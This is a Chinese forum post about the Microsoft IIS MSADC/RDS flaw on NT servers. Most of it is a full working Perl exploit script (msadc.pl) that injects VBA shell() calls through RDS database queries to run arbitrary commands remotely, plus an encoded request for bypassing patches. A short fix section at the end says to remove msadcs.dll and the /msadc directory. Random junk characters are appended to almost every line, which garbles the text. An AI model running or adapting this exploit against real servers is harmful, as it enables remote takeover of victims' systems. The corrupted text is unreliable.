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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) / w dvm4  
w#9.U7@.  
涉及程序: >;G_o="X  
Microsoft NT server kN 2mPD/  
{C`M<2W]  
描述: EM<W+YU  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 k7:ISj J  
bL<H$DB6  
详细: ';.TQ_I7Y  
如果你没有时间读详细内容的话,就删除: 7oLlRU  
c:\Program Files\Common Files\System\Msadc\msadcs.dll n)cc\JPQ  
有关的安全问题就没有了。 CNuE9|W(vI  
XH0{|#hwN  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 si%V63^lN  
bg3kGt0  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 0F!Uai1  
关于利用ODBC远程漏洞的描述,请参看: xg%{p``  
2:.$:wS  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Wsd_RT}ww  
oVuIHb0w  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ([JFX@  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp :1'1 n  
h Q Att  
这里不再论述。 'lC=k7@x  
#/(L.5d[  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 1jSmTI d  
WZA1nzRc  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Yo5ged]i  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! LUx'Dm"  
ZnbpIJ8cV  
" d~M \Az  
#将下面这段保存为txt文件,然后: "perl -x 文件名" K:4 G(?w  
WVyq$p/V  
#!perl DS|x*w'I  
# UT_t]m  
# MSADC/RDS 'usage' (aka exploit) script >SZuN"r8`  
# $43CNnf3N  
# by rain.forest.puppy  M+=q"#&  
# '+|uv7|+v  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me O>wGJ.  
# beta test and find errors! VF-[O  
BH^cR<<j  
use Socket; use Getopt::Std; BhyLcUBuB  
getopts("e:vd:h:XR", \%args); W70BRXe04D  
zS\m8[+]  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Q>=/u-  
&6Wim<*  
if (!defined $args{h} && !defined $args{R}) { CwEb ?  
print qq~ 9zehwl]~  
Usage: msadc.pl -h <host> { -d <delay> -X -v } R'1"`@f G  
-h <host> = host you want to scan (ip or domain) S@L%X<Vm  
-d <seconds> = delay between calls, default 1 second Q|Pm8{8  
-X = dump Index Server path table, if available a- /p/ I-%  
-v = verbose d D^?%,a  
-e = external dictionary file for step 5 e+MsFXnB8  
Iak06E  
Or a -R will resume a command session FZ% WD@=  
dfeN_0` -  
~; exit;} v@!r$jZ  
# b= *hi`E  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ,+g0#8?p^x  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 3t] 0  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} .O4=[wE!U  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); aOW~! f/M  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} R<>uCF0  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } m`3gNox  
x A ZRl  
if (!defined $args{R}){ $ret = &has_msadc; &4F iYZ  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Gc!&I+kd  
kL}*,8s{  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" zL:k(7E  
. "cmd /c "; 0Szt^l7  
$in=<STDIN>; chomp $in; s[/)v:  
$command="cmd /c " . $in ; 3D rW[\  
^#j{9FpPs  
if (defined $args{R}) {&load; exit;} x8h=3e$  
h6gtO$A|p=  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; =hKu85  
&try_btcustmr; M#]URS2h<O  
htqC~B{1E  
print "\nStep 2: Trying to make our own DSN..."; w3oe.hWP3N  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; q}7(w$&  
R 9Y k9v  
print "\nStep 3: Trying known DSNs..."; *&yt;|y  
&known_dsn; '#Y[(5  
;ZLfb n3\  
print "\nStep 4: Trying known .mdbs..."; W#[3a4%m  
&known_mdb; Os|F  
Q-S5("  
if (defined $args{e}){ X=b]Whuv  
print "\nStep 5: Trying dictionary of DSN names..."; u*H V  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 9RN! <`H  
'ZQR@~G  
print "Sorry Charley...maybe next time?\n"; p[gq^5WuC  
exit; _S#3!Wx  
EY 9N{  
############################################################################## 5-X(K 'Q  
`BZX\LPHm  
sub sendraw { # ripped and modded from whisker syLpnNx=  
sleep($delay); # it's a DoS on the server! At least on mine... Dmv@ljwO  
my ($pstr)=@_; 8Ow0A  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || l 7=WO#Pb  
die("Socket problems\n"); *+'l|VaVq\  
if(connect(S,pack "SnA4x8",2,80,$target)){ 9 l9|w4YJs  
select(S); $|=1; MDKiwT@#  
print $pstr; my @in=<S>; o.H(&ex|  
select(STDOUT); close(S); p^QB^HEV  
return @in; ZYX(Cf  
} else { die("Can't connect...\n"); }} 0xg6  
('.r_F  
############################################################################## ? v2JuhRe  
Tn8GLn  
sub make_header { # make the HTTP request 6*H F`@(  
my $msadc=<<EOT %phv<AW  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 KFMEY\6\h  
User-Agent: ACTIVEDATA BPzlt  
Host: $ip KZ)p\p<1  
Content-Length: $clen /?P="j#u  
Connection: Keep-Alive &-0 eWwMW  
#/ Qe7:l  
ADCClientVersion:01.06 #<|q4a{8  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 }PDNW  
^d2bl,1  
--!ADM!ROX!YOUR!WORLD! [m 3k_;[  
Content-Type: application/x-varg C6C7*ks  
Content-Length: $reqlen e7.!=R{6  
^g56:j~?  
EOT )FrXD3 p  
; $msadc=~s/\n/\r\n/g; UF00K1dbz  
return $msadc;} _:tisr{  
aBLE:v  
############################################################################## u*$ 1e  
<ZM8*bqi  
sub make_req { # make the RDS request m mj6YQ0a  
my ($switch, $p1, $p2)=@_; i`1QR@11  
my $req=""; my $t1, $t2, $query, $dsn; t~0}Emgp<(  
3%W R  
if ($switch==1){ # this is the btcustmr.mdb query ?g$dz?^CK&  
$query="Select * from Customers where City=" . make_shell(); #Mz N7  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . W|FPj^*t  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} .Lk2S "+  
'J`%[,@V  
elsif ($switch==2){ # this is general make table query >Cjb|f3'i}  
$query="create table AZZ (B int, C varchar(10))"; v5 yOh5  
$dsn="$p1";} Qx mVImn"  
{AY `\G  
elsif ($switch==3){ # this is general exploit table query H[{ch t h  
$query="select * from AZZ where C=" . make_shell(); J !:ss  
$dsn="$p1";} l%^'K%'b  
&r;4$7  
elsif ($switch==4){ # attempt to hork file info from index server .hCOi<wB  
$query="select path from scope()"; ? 1g<] ?  
$dsn="Provider=MSIDXS;";} P==rY5+s`  
e FPDW;  
elsif ($switch==5){ # bad query @])qw_  
$query="select"; *HwTq[y  
$dsn="$p1";} By 8C-jD  
uL!{xuN  
$t1= make_unicode($query); shlL(&Py  
$t2= make_unicode($dsn); c4R6E~S  
$req = "\x02\x00\x03\x00"; )h ~MIpWR  
$req.= "\x08\x00" . pack ("S1", length($t1)); PF1m :Iz`d  
$req.= "\x00\x00" . $t1 ; ) tGC&l+?/  
$req.= "\x08\x00" . pack ("S1", length($t2)); > @ulvHL  
$req.= "\x00\x00" . $t2 ; 'W~O ?  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 3`&2 -  
return $req;} D'>yu"  
1e;^Mz B"  
############################################################################## ".qh]RVjV  
qPpC)6-Q  
sub make_shell { # this makes the shell() statement eA>O<Z1>  
return "'|shell(\"$command\")|'";} $H/3t?6h`  
i8nCTW  
############################################################################## 33\{S$p  
M[0@3"}}  
sub make_unicode { # quick little function to convert to unicode B_[^<2_  
my ($in)=@_; my $out; G Cx]VN3 &  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } S)GWr"m-  
return $out;} aIk%$Mat  
JQ%`]=n(/  
############################################################################## -\j}le6;c  
">kf X1LT  
sub rdo_success { # checks for RDO return success (this is kludge) ;h3uMUCml  
my (@in) = @_; my $base=content_start(@in); 6tM CpSJ  
if($in[$base]=~/multipart\/mixed/){ "qb3\0O  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} _EOQ*K#=Ct  
return 0;} D:llGdU#2  
=%|S$J  
############################################################################## S@zsPzw  
RaAi9b[/S  
sub make_dsn { # this makes a DSN for us e.i5j^5u  
my @drives=("c","d","e","f"); pHY~_^B4&  
print "\nMaking DSN: "; 7vV3"uns  
foreach $drive (@drives) { v\t$. _at  
print "$drive: "; B5!$5 Qc  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . A%u-6"  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" HW{osav9  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); jR\T\r4  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; dapQ5JT/  
return 0 if $2 eq "404"; # not found/doesn't exist r9@W8](\  
if($2 eq "200") { y1/$dn  
foreach $line (@results) { Q5iuK#/  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} W z3y+I/&  
} return 0;} iD_NpH q  
Rw*l#cr=.  
############################################################################## xF5q=%n  
Z*nC ;5Kd  
sub verify_exists { `Bnp/9q5  
my ($page)=@_; b3x!tuQn  
my @results=sendraw("GET $page HTTP/1.0\n\n"); X #-U  
return $results[0];} 5FnWlFc  
%? _pSH}$!  
############################################################################## d)(61  
I1 j-Q8  
sub try_btcustmr { ge[f/"u  
my @drives=("c","d","e","f"); (D{Fln\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Dq Kk9s;6_  
8\`]T%h  
foreach $dir (@dirs) { Ip( IGR"  
print "$dir -> "; # fun status so you can see progress Sq}hx  
foreach $drive (@drives) { mKPyM<Q  
print "$drive: "; # ditto (J][(=s;a  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; w:Tz&$&Y$  
$reqlenlen=length( "$reqlen" ); gc7S_D~;  
$clen= 206 + $reqlenlen + $reqlen; ?Il$f_"B:  
8,#v7ns}#  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); G#8HY VF  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} SPe Se/  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 0CQ\e1S,#  
[(5;jUmF@  
############################################################################## 'd^U!l  
%:N6#;l M  
sub odbc_error { EMmNlj6  
my (@in)=@_; my $base; m]+g[L?-  
my $base = content_start(@in); ^{_`jE  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this s$:F^sxb  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; sYiegX`1c  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; IR?ICXmtx  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ?7'uo$  
return $in[$base+4].$in[$base+5].$in[$base+6];} { o=4(RC  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; k;R*mg*K  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . A}FEM[2  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ot]E\g+!  
B5IS-d  
############################################################################## (01M0b#  
9l@VxX68M  
sub verbose { xXE/pIXw  
my ($in)=@_; <bWhTNOb  
return if !$verbose; &eG,CIT  
print STDOUT "\n$in\n";} B9/x?Jv1  
n@mWB UM  
############################################################################## l&(,$RmYp  
=4"D8 UaHr  
sub save { _y#t[|}w  
my ($p1, $p2, $p3, $p4)=@_; [bIdhG  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; WQ<J<$$uu  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; VJS|H!CH  
close OUT;} j#"?Oe{_1  
13I 7ah  
############################################################################## scCOiK)  
~&[Wqn@MZ  
sub load { .vj`[?T  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; xN:ih*+,v  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); R)"Ds}1G  
@p=<IN>; close(IN);  H`G[QC  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); SG2s!Ht  
$target= inet_aton($ip) || die("inet_aton problems"); (n05MwKu\  
print "Resuming to $ip ..."; ]vMr@JM-G  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; U,yU-8z/  
if($p[1]==1) { 3XYCtp8  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ='q:Io?T  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; qYBoo]}a  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); B\wH`5/KW  
if (rdo_success(@results)){print "Success!\n";} o"->RC  
else { print "failed\n"; verbose(odbc_error(@results));}} Cb7f-Eag  
elsif ($p[1]==3){ aB;syl{  
if(run_query("$p[3]")){ <f&z~y=  
print "Success!\n";} else { print "failed\n"; }} 3 k py3z[%  
elsif ($p[1]==4){ 1@6dHFA`o  
if(run_query($drvst . "$p[3]")){ R"EX$Zj^E  
print "Success!\n"; } else { print "failed\n"; }} ^6bU4bA  
exit;} w7cciD|  
_nOJ.G  
############################################################################## Sg(fZ' -  
Xi^3o  
sub create_table { @cA`del  
my ($in)=@_; 4d#w}  
$reqlen=length( make_req(2,$in,"") ) - 28; vyP3]+n  
$reqlenlen=length( "$reqlen" ); [x ?38  
$clen= 206 + $reqlenlen + $reqlen; AA"?2dF  
my @results=sendraw(make_header() . make_req(2,$in,"")); Gkv<)}G  
return 1 if rdo_success(@results); "5"6mw?  
my $temp= odbc_error(@results); verbose($temp); %Sr/'7 K  
return 1 if $temp=~/Table 'AZZ' already exists/; uo;aC$US  
return 0;} zV_U/]y  
47.c  
############################################################################## !qsk;Vk7Z  
(lq7 ct  
sub known_dsn { swJ3_WhbdT  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go "K n JUXpl  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", G=W!$(:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", YjN2 ,Xi  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 3o&PVU? Q  
=p,+a/*  
foreach $dSn (@dsns) { bwR_ uF  
print "."; 9otA5I^v  
next if (!is_access("DSN=$dSn")); aG.j0`)%  
if(create_table("DSN=$dSn")){ *{8<4CVv  
print "$dSn successful\n"; 6FNs4|(d  
if(run_query("DSN=$dSn")){ ++n"` ]o,  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { WJbdsPs  
print "Something's borked. Use verbose next time\n";}}} print "\n";} {WQH  
vp@%wxl!:  
############################################################################## MG)wVS<d_  
V9[-# Ti  
sub is_access { X~|P  
my ($in)=@_; l!CWE  
$reqlen=length( make_req(5,$in,"") ) - 28; 86igP  
$reqlenlen=length( "$reqlen" ); >=Hm2daN  
$clen= 206 + $reqlenlen + $reqlen; lPF(&pP  
my @results=sendraw(make_header() . make_req(5,$in,"")); /nEt%YYh;x  
my $temp= odbc_error(@results); X_GR{z%  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Y^80@MJ  
return 0;} iU3)4(R  
UQ6UZd37   
############################################################################## SFCKD/8  
K dY3  
sub run_query { 1T:M?N8J  
my ($in)=@_; q}gj.@Q"  
$reqlen=length( make_req(3,$in,"") ) - 28; 3Z=OUhn9  
$reqlenlen=length( "$reqlen" ); 8Q&.S)hrN  
$clen= 206 + $reqlenlen + $reqlen; ?O(KmDH  
my @results=sendraw(make_header() . make_req(3,$in,"")); ^%l~|w  
return 1 if rdo_success(@results); ?w6zq|  
my $temp= odbc_error(@results); verbose($temp); 7|4hs:4mD  
return 0;} -;pZC}Nd3  
l9"4"+?j<  
############################################################################## v Yt-Nx  
qj *IKS  
sub known_mdb { > w:+nG/r  
my @drives=("c","d","e","f","g"); tdZ,sHY6  
my @dirs=("winnt","winnt35","winnt351","win","windows"); #U45H.Rz  
my $dir, $drive, $mdb; 1,@-y#V_  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; P \<dy?nZ  
/MFy%=0l  
# this is sparse, because I don't know of many :N03$Tvl  
my @sysmdbs=( "\\catroot\\icatalog.mdb", s`"o-w\$>  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", '}\{4Qst  
"\\system32\\certmdb.mdb", &"GHD{ix  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% {TT@Mkz_QC  
)6mx\t  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", b]S4\BBT  
"\\cfusion\\cfapps\\forums\\forums_.mdb", FlJ(V  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", `H+~LVH  
"\\cfusion\\cfapps\\security\\realm_.mdb", S~jl%]  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", wn*<.s  
"\\cfusion\\database\\cfexamples.mdb", P|}~=2J  
"\\cfusion\\database\\cfsnippets.mdb", Eq$Q%'5*ua  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", mXZOkx{  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", U-.?+ `  
"\\cfusion\\brighttiger\\database\\cleam.mdb", tI50z khaB  
"\\cfusion\\database\\smpolicy.mdb", @ k+Z?Hp  
"\\cfusion\\database\cypress.mdb", bz!9\D|h  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", g7*cwu  
"\\website\\cgi-win\\dbsample.mdb", r~q*E'n  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", e='bc7$  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 9L3#aE]C  
); #these are just BM bT:)%  
foreach $drive (@drives) { zTi %j$o  
foreach $dir (@dirs){ S"?py=7  
foreach $mdb (@sysmdbs) { NJJsg^'  
print "."; 0l#{7^e  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ d"zbY\`  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; s8w7/*<d  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ pT Yq#9  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ~doOt  
} else { print "Something's borked. Use verbose next time\n"; }}}}} v~-z["=}!  
@kU{  
foreach $drive (@drives) { f:5(M@iO.  
foreach $mdb (@mdbs) { I#(D.\P  
print "."; S0.   
if(create_table($drv . $drive . $dir . $mdb)){ v=Ep  
print "\n" . $drive . $dir . $mdb . " successful\n"; S-^y;#=  
if(run_query($drv . $drive . $dir . $mdb)){ X\3IY:Q@T  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; S<^*jheO5  
} else { print "Something's borked. Use verbose next time\n"; }}}} >L$g ;(g  
} #"|Y"#@k  
gE8=#%1<  
############################################################################## 1M&n=s _  
q 4_&C&7  
sub hork_idx { _2{i}L  
print "\nAttempting to dump Index Server tables...\n"; /'U/rjb_h{  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 3\eb:-B:@  
$reqlen=length( make_req(4,"","") ) - 28; Ko%&~C_  
$reqlenlen=length( "$reqlen" ); e* gCc7zz  
$clen= 206 + $reqlenlen + $reqlen; `X?l`H;#  
my @results=sendraw2(make_header() . make_req(4,"","")); ':yE5j  
if (rdo_success(@results)){ i|u3Qt5  
my $max=@results; my $c; my %d; E"k\eZns&  
for($c=19; $c<$max; $c++){ 7NG^X"N{Ul  
$results[$c]=~s/\x00//g; w?kdM1T  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; <Q)6N!Tp^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ,2u-<8  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; :HhLc'1Jw  
$d{"$1$2"}="";} |YjuaXd7N  
foreach $c (keys %d){ print "$c\n"; } pKO\tkMJ  
} else {print "Index server doesn't seem to be installed.\n"; }} ,ZjbbBZ  
k^gnOU;  
############################################################################## TL@_m^SM  
+s&+G![  
sub dsn_dict { SZJ~ktXC-V  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); =g' 7 xA  
while(<IN>){ #tG/{R  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 2&fIF}vk>m  
next if (!is_access("DSN=$dSn")); E@QsuS2&  
if(create_table("DSN=$dSn")){ ~V3pj('/)'  
print "$dSn successful\n";  K9  
if(run_query("DSN=$dSn")){ !]q wRB$5  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { OIB~ W  
print "Something's borked. Use verbose next time\n";}}} 6TS+z7S81L  
print "\n"; close(IN);} oPRvd_~  
jeMh  
############################################################################## >L#&L ?#  
Mvoi   
sub sendraw2 { # ripped and modded from whisker B&|F9Z6D  
sleep($delay); # it's a DoS on the server! At least on mine... X tZ0z?  
my ($pstr)=@_; M5 ep\^  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 5{qFKo"g@,  
die("Socket problems\n"); 4lC:svF  
if(connect(S,pack "SnA4x8",2,80,$target)){ Y1EN|!WZ  
print "Connected. Getting data"; "_jcz r$*  
open(OUT,">raw.out"); my @in; esmQ\QQ^1  
select(S); $|=1; print $pstr; yNdtq\h  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} LKY4rY!|@d  
close(OUT); select(STDOUT); close(S); return @in; {6'5K U*RH  
} else { die("Can't connect...\n"); }} _m0H gLS~  
7 }(LO^,A  
############################################################################## ftsr-3!Vm  
tUv@4<~,/  
sub content_start { # this will take in the server headers qJB9z0a<Ov  
my (@in)=@_; my $c; [~?LOH  
for ($c=1;$c<500;$c++) { ON _uu]=  
if($in[$c] =~/^\x0d\x0a/){ qQ%zSJ?  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 2?rg&og6  
else { return $c+1; }}} \tLJ( <8  
return -1;} # it should never get here actually Hk8:7"4Q  
VcIsAK".4[  
############################################################################## ^sd+s ~ xx  
F >2t=r*9  
sub funky { )zI<C=])"  
my (@in)=@_; my $error=odbc_error(@in); eSoOJ[&$  
if($error=~/ADO could not find the specified provider/){ vG#|CO9  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ]"q[hF*PM  
exit;} wcP0PfY  
if($error=~/A Handler is required/){ O:Bfbna  
print "\nServer has custom handler filters (they most likely are patched)\n"; EaFd1  
exit;} //`heFuc]>  
if($error=~/specified Handler has denied Access/){ "cRc~4%K  
print "\nServer has custom handler filters (they most likely are patched)\n"; B`<(qPD  
exit;}} DzO0V"+H}k  
&M=12>ah]  
############################################################################## W&}YM b  
L7_Mg{  
sub has_msadc { vlIet$ k  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); _ZIaEJjH/  
my $base=content_start(@results); ]ms#*IZ  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 3lhXD_Y  
return 0;} }b2U o&][  
?2OT:/I,  
######################## tc\LK_@$/F  
Yi&;4vC  
NWNH)O@  
解决方案: v<_}Br2I[  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ww nc  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Ud^+a H  
,!F'h:   
拿出来充数 哈哈
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